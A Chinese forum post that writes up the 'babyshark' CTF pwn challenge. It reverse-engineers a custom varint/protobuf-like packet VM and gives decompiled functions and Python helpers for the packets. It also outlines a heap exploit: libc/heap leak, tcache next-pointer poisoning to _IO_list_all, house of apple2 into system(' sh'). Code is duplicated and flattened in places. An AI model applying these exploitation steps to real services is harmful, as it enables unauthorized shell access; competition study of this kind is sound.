-
-
[原创]港湾杯决赛--babyshark
-
发表于: 2025-9-16 18:49 3135
-
昨天刚刚结束的湾区杯
全场只有5解的pwn题,差点拿到3血(其实差了不少: / )
失去了AI的辅助,全身心投入逆向分析,看起来也不是件坏事
本题的数据传输采取了类似protobuf的序列化/反序列化数据包传输指令
所以我们在进行堆利用前要将自定义的vm操作梳理清楚
在主逻辑前,先是进行了对时间种子的设置
经典的伪随机数

随后是个循环读入
注意看这里读入的循环判断,是当前读入的字节(char)为负数

读入后进行了dump_num操作,按照一定格式把str转化为__int64
可以看到在循环中,将字符转化为数字,并使用"|"运算和"<<"运算将数字不断拼接
只有当前读入的字符对应的ascii为负数,才会继续读入
最终读取到对应正数的字符停止循环,将字符串对应的数字和有效字符串长度记录在size和n9_1变量中
下图代表了每个字节在此vm中的意义

而且负数只会取有效数部分而忽略正负标志位(flag)所以我们想要读入一个数字也要按照它设定的规则进行数字的传递,如下
必须为保证想要读入的每一位对应的字符的正负标志位为1,我们可以为每位(除了最高位)都"|"上一个0x80(char类型的正负标志位),最高一字节保持正常(ascii对应为正数)

预期情况下会申请一个我们刚刚传入大小的堆块,并要求我们输入申请大小的数据
随后返回main函数调用dump_opcode函数
首先从上个函数读入的内容中开始使用dump_num取出一个数字
根据最低三比特与第四比特的bool标志进入不同的分支
分别opcode的不同字段设置内容/设置不同内容对应的标志位
从这个函数中我们也能分析出对应的opcode结构体
其中
随后根据数据包中idx的数值,使用get_idx转化真实的idx
可以看到idx的获取,是数据包中的Idx成员与随机数进行xor,然后高低位反转,作为最后真正的idx
据此我们可以逆向分析得到如何输入Idx
随后进入到了堆块管理系统
根据数据包中opcode成员,进入不同的处理函数

可以看到,进行create操作,需要传入的结构体中存在size,content与 content_lenth成员存在
简单进行判断后,将size,ptr,Id与flag低位存入全局变量list中
然后将content使用memcpy复制进去,并对结尾进行置零操作
由于对size与content_lenth进行了完备的检查,此处不存在溢出
我们需要发送一下数据包进行create操作的请求

通过log说明,需要Idx,size和content(lenth)
通过Idx在bss上寻址,找到对应堆块,将内容复制并置零
同样对长度有完备的检查,不存在溢出
以下结构进行edit请求
正常的delet操作,不存在uaf漏洞
正常show
出题人给了一次uaf机会,且在uaf后调用了一次可以无限栈溢出的函数overflow
以下结构请求uaf操作
由于create和edit操作中都有置零操作,所以不存在泄露libc/heap信息的机会
想要泄露信息只能通过uaf后的show,那么我们就无法利用uaf中的overflow函数
之后无论是劫持IO结构体还是劫持栈上的返回值都是可以getshell/orw的
通过简单堆风水进行heap与libc的泄露
污染next指针为_IO_list_all,将其劫持到堆上的可控地址中
经典的house of apple2,调用system(" sh")getshell
本道题解数少,最重要的原因是结构体与算法的逆向复杂+耗费时间,且由于ctf+awdp并发进行,pwn手只能专注于一方面的攻击
无论是在ctf还是iot的学习中,我总感觉自己的逆向能力在AI的帮助下不断退化,可能这也是不少pwn手目前的真实写照
在去AI的情况下打出这道题,真的让我很开心 : )
__int64 __fastcall dump_num(_QWORD *size, __int64 ptr, unsigned __int64 n9_1, unsigned __int64 *len){ unsigned __int64 v4; // rax char v6; // [rsp+27h] [rbp-19h] unsigned __int64 n9; // [rsp+28h] [rbp-18h] char v8; // [rsp+34h] [rbp-Ch] __int64 v9; // [rsp+38h] [rbp-8h] v9 = 0LL; v8 = 0; n9 = 0LL; while ( n9 < n9_1 && n9 <= 9 ) { v4 = n9++; v6 = *(_BYTE *)(ptr + v4); v9 |= (unsigned __int64)(v6 & 0x7F) << v8; if ( v6 >= 0 ) { *size = v9; *len = n9; return 0LL; } v8 += 7; } return 0xFFFFFFFFLL;}__int64 __fastcall dump_num(_QWORD *size, __int64 ptr, unsigned __int64 n9_1, unsigned __int64 *len){ unsigned __int64 v4; // rax char v6; // [rsp+27h] [rbp-19h] unsigned __int64 n9; // [rsp+28h] [rbp-18h] char v8; // [rsp+34h] [rbp-Ch] __int64 v9; // [rsp+38h] [rbp-8h] v9 = 0LL; v8 = 0; n9 = 0LL; while ( n9 < n9_1 && n9 <= 9 ) { v4 = n9++; v6 = *(_BYTE *)(ptr + v4); v9 |= (unsigned __int64)(v6 & 0x7F) << v8; if ( v6 >= 0 ) { *size = v9; *len = n9; return 0LL; } v8 += 7; } return 0xFFFFFFFFLL;}def m(n): num=b"" while n: t=n&0x7f n=n>>7 t|=0x80 num+=p8(t) s=u8(num[-1:]) num=num[:-1] num+=p8(s-0x80) return numdef m(n): num=b"" while n: t=n&0x7f n=n>>7 t|=0x80 num+=p8(t) s=u8(num[-1:]) num=num[:-1] num+=p8(s-0x80) return num__int64 __fastcall dump_opcode(__int64 ptr, unsigned __int64 size, opchunk *opcode){ unsigned __int64 n9; // [rsp+28h] [rbp-48h] BYREF __int64 num2; // [rsp+30h] [rbp-40h] BYREF unsigned __int64 n9_1; // [rsp+38h] [rbp-38h] BYREF __int64 num; // [rsp+40h] [rbp-30h] BYREF unsigned __int64 len; // [rsp+48h] [rbp-28h] BYREF unsigned __int64 num1; // [rsp+50h] [rbp-20h] BYREF __int64 n3; // [rsp+58h] [rbp-18h] unsigned __int64 n4; // [rsp+60h] [rbp-10h] unsigned __int64 now_len; // [rsp+68h] [rbp-8h] memset(opcode, 0, sizeof(opchunk)); now_len = 0LL; while ( now_len < size ) { if ( (unsigned int)dump_num(&num1, ptr + now_len, size - now_len, &len) ) return 0xFFFFFFFFLL; now_len += len; n4 = num1 >> 3; // 右移3位 n3 = num1 & 7; // 最3低位 if ( (num1 & 7) != 0 ) { if ( n3 != 2 ) return 0xFFFFFFFFLL; if ( (unsigned int)dump_num(&num2, ptr + now_len, size - now_len, &n9) )// 最低位为2 return 0xFFFFFFFFLL; now_len += n9; if ( size < num2 + now_len ) // num2大于剩余空间 return 0xFFFFFFFFLL; if ( n4 == 4 ) { opcode->content_ptr = now_len + ptr; // 剩余内容的起始指针 opcode->content_lenth = num2; // 第二个num(?) opcode->content_flag = 1; // 标志位 } now_len += num2; } else // 低三位为0 { if ( (unsigned int)dump_num(&num, ptr + now_len, size - now_len, &n9_1) ) return 0xFFFFFFFFLL; now_len += n9_1; switch ( n4 ) // 右移三位 { case 1uLL: opcode->opcode = num; opcode->opcode_flag = 1; break; case 2uLL: opcode->Idx = num; opcode->Idx_flag = 1; break; case 3uLL: opcode->size = num; opcode->size_flag = 1; break; } } } return 0LL;}__int64 __fastcall dump_opcode(__int64 ptr, unsigned __int64 size, opchunk *opcode){ unsigned __int64 n9; // [rsp+28h] [rbp-48h] BYREF __int64 num2; // [rsp+30h] [rbp-40h] BYREF unsigned __int64 n9_1; // [rsp+38h] [rbp-38h] BYREF __int64 num; // [rsp+40h] [rbp-30h] BYREF unsigned __int64 len; // [rsp+48h] [rbp-28h] BYREF unsigned __int64 num1; // [rsp+50h] [rbp-20h] BYREF __int64 n3; // [rsp+58h] [rbp-18h] unsigned __int64 n4; // [rsp+60h] [rbp-10h] unsigned __int64 now_len; // [rsp+68h] [rbp-8h] memset(opcode, 0, sizeof(opchunk)); now_len = 0LL; while ( now_len < size ) { if ( (unsigned int)dump_num(&num1, ptr + now_len, size - now_len, &len) ) return 0xFFFFFFFFLL; now_len += len; n4 = num1 >> 3; // 右移3位 n3 = num1 & 7; // 最3低位 if ( (num1 & 7) != 0 ) { if ( n3 != 2 ) return 0xFFFFFFFFLL; if ( (unsigned int)dump_num(&num2, ptr + now_len, size - now_len, &n9) )// 最低位为2 return 0xFFFFFFFFLL; now_len += n9; if ( size < num2 + now_len ) // num2大于剩余空间 return 0xFFFFFFFFLL; if ( n4 == 4 ) { opcode->content_ptr = now_len + ptr; // 剩余内容的起始指针 opcode->content_lenth = num2; // 第二个num(?) opcode->content_flag = 1; // 标志位 } now_len += num2; } else // 低三位为0 { if ( (unsigned int)dump_num(&num, ptr + now_len, size - now_len, &n9_1) ) return 0xFFFFFFFFLL; now_len += n9_1; switch ( n4 ) // 右移三位 { case 1uLL: opcode->opcode = num; opcode->opcode_flag = 1; break; case 2uLL: opcode->Idx = num; opcode->Idx_flag = 1; break; case 3uLL: opcode->size = num; opcode->size_flag = 1; break; } } } return 0LL;}struct __fixed opchunk // sizeof=0x38{ __int64 opcode; __int64 Idx; __int64 size; __int64 content_ptr; __int64 content_lenth; int opcode_flag; int Idx_flag; int size_flag; int content_flag;};struct __fixed opchunk // sizeof=0x38{ __int64 opcode; __int64 Idx; __int64 size; __int64 content_ptr; __int64 content_lenth; int opcode_flag; int Idx_flag; int size_flag; int content_flag;};__int64 __fastcall get_idx(char long2){ return sub_132A(Rand ^ long2, 5) & 0xF;}__int64 __fastcall sub_132A(unsigned __int8 a1, char n5){ return (a1 << (n5 & 7)) | (unsigned int)((int)a1 >> (8 - (n5 & 7)));}__int64 __fastcall get_idx(char long2){ return sub_132A(Rand ^ long2, 5) & 0xF;}__int64 __fastcall sub_132A(unsigned __int8 a1, char n5){ return (a1 << (n5 & 7)) | (unsigned int)((int)a1 >> (8 - (n5 & 7)));}def idx(Id): t1=Id&31 t2=(Id-t1)>>5 t1=t1<<3#高低位反转 return (t2+t1)^cookie#cookie为随机数def idx(Id): t1=Id&31 t2=(Id-t1)>>5 t1=t1<<3#高低位反转 return (t2+t1)^cookie#cookie为随机数int __fastcall create(size_t size, const void *src, size_t n0x100000_2){ size_t n0x100000_1; // rax void *dest; // [rsp+28h] [rbp-18h] size_t n; // [rsp+30h] [rbp-10h] int i; // [rsp+38h] [rbp-8h] int i_1; // [rsp+3Ch] [rbp-4h] if ( !size || size > 0x100000 ) return puts("bad size"); i_1 = -1; for ( i = 0; i <= 15; ++i ) { if ( !LODWORD(list[i].flag) ) { i_1 = i; break; } } if ( i_1 < 0 ) return puts("full"); dest = malloc(size); if ( !dest ) { puts("oom"); exit(1); } list[i_1].ptr = (__int64)dest; list[i_1].size = size; list[i_1].Id = 0LL; LODWORD(list[i_1].flag) = 1; n = 0LL; if ( src && n0x100000_2 ) { n0x100000_1 = size; if ( n0x100000_2 <= size ) n0x100000_1 = n0x100000_2; n = n0x100000_1; memcpy(dest, src, n0x100000_1); } list[i_1].Id = n; *((_BYTE *)dest + n) = 0; return printf("ok idx=%d\n", i_1);}int __fastcall create(size_t size, const void *src, size_t n0x100000_2){ size_t n0x100000_1; // rax void *dest; // [rsp+28h] [rbp-18h] size_t n; // [rsp+30h] [rbp-10h] int i; // [rsp+38h] [rbp-8h] int i_1; // [rsp+3Ch] [rbp-4h] if ( !size || size > 0x100000 ) return puts("bad size"); i_1 = -1; for ( i = 0; i <= 15; ++i ) { if ( !LODWORD(list[i].flag) ) { i_1 = i; break; } } if ( i_1 < 0 ) return puts("full"); dest = malloc(size); if ( !dest ) { puts("oom"); exit(1); } list[i_1].ptr = (__int64)dest; list[i_1].size = size; list[i_1].Id = 0LL; LODWORD(list[i_1].flag) = 1; n = 0LL; if ( src && n0x100000_2 ) { n0x100000_1 = size; if ( n0x100000_2 <= size ) n0x100000_1 = n0x100000_2; n = n0x100000_1; memcpy(dest, src, n0x100000_1); } list[i_1].Id = n; *((_BYTE *)dest + n) = 0; return printf("ok idx=%d\n", i_1);}def add(size,content): payload =m(1<<3)+m(1) payload+=m(3<<3)+m(size) payload+=m(2+(4<<3))+m(len(content))+content print(m(len(payload))) io.send(m(len(payload))) io.send(payload)def add(size,content): payload =m(1<<3)+m(1) payload+=m(3<<3)+m(size) payload+=m(2+(4<<3))+m(len(content))+content print(m(len(payload))) io.send(m(len(payload))) io.send(payload)int __fastcall edit(unsigned int idx, size_t Size, const void *src, size_t ture_len){ size_t n_1; // rax size_t n; // [rsp+28h] [rbp-18h] chunk_list *v7; // [rsp+38h] [rbp-8h] if ( idx >= 0x10 || !LODWORD(list[idx].flag) ) return puts("bad idx"); if ( !src ) return puts("need data"); v7 = &list[idx]; if ( Size > v7->size ) return puts("too long"); n_1 = ture_len; if ( Size <= ture_len ) n_1 = Size; n = n_1; memcpy((void *)v7->ptr, src, n_1); v7->Id = n; *(_BYTE *)(v7->ptr + n) = 0; return puts("edited");}int __fastcall edit(unsigned int idx, size_t Size, const void *src, size_t ture_len){ size_t n_1; // rax size_t n; // [rsp+28h] [rbp-18h] chunk_list *v7; // [rsp+38h] [rbp-8h] if ( idx >= 0x10 || !LODWORD(list[idx].flag) ) return puts("bad idx"); if ( !src ) return puts("need data"); v7 = &list[idx]; if ( Size > v7->size ) return puts("too long"); n_1 = ture_len; if ( Size <= ture_len ) n_1 = Size; n = n_1; memcpy((void *)v7->ptr, src, n_1); v7->Id = n; *(_BYTE *)(v7->ptr + n) = 0; return puts("edited");}def edit(Id,content): payload =m(1<<3)+m(2) payload+=m(2<<3)+m(idx(Id)) payload+=m(3<<3)+m(len(content)) payload+=m(2+(4<<3))+m(len(content))+content io.send(m(len(payload))) io.send(payload)def edit(Id,content): payload =m(1<<3)+m(2) payload+=m(2<<3)+m(idx(Id)) payload+=m(3<<3)+m(len(content)) payload+=m(2+(4<<3))+m(len(content))+content io.send(m(len(payload))) io.send(payload)int __fastcall delet(unsigned int n0x10){ if ( n0x10 >= 0x10 || !LODWORD(list[n0x10].flag) ) return puts("bad idx"); free((void *)list[n0x10].ptr); LODWORD(list[n0x10].flag) = 0; return puts("freed");}int __fastcall delet(unsigned int n0x10){ if ( n0x10 >= 0x10 || !LODWORD(list[n0x10].flag) ) return puts("bad idx"); free((void *)list[n0x10].ptr); LODWORD(list[n0x10].flag) = 0; return puts("freed");}def free(Id): payload =m(1<<3)+m(3) payload+=m(2<<3)+m(idx(Id)) io.send(m(len(payload))) io.send(payload)def free(Id): payload =m(1<<3)+m(3) payload+=m(2<<3)+m(idx(Id))赞赏
- [原创] 2025 强网杯和强网拟态部分题解 2552
- [原创]港湾杯决赛--babyshark 3136
- [原创]2025 磐石行动-线下AWD-PWN 3314
- [原创]Nepctf2025 pwn部分wp 4062
- [原创]L3CTF-2025:heack 2999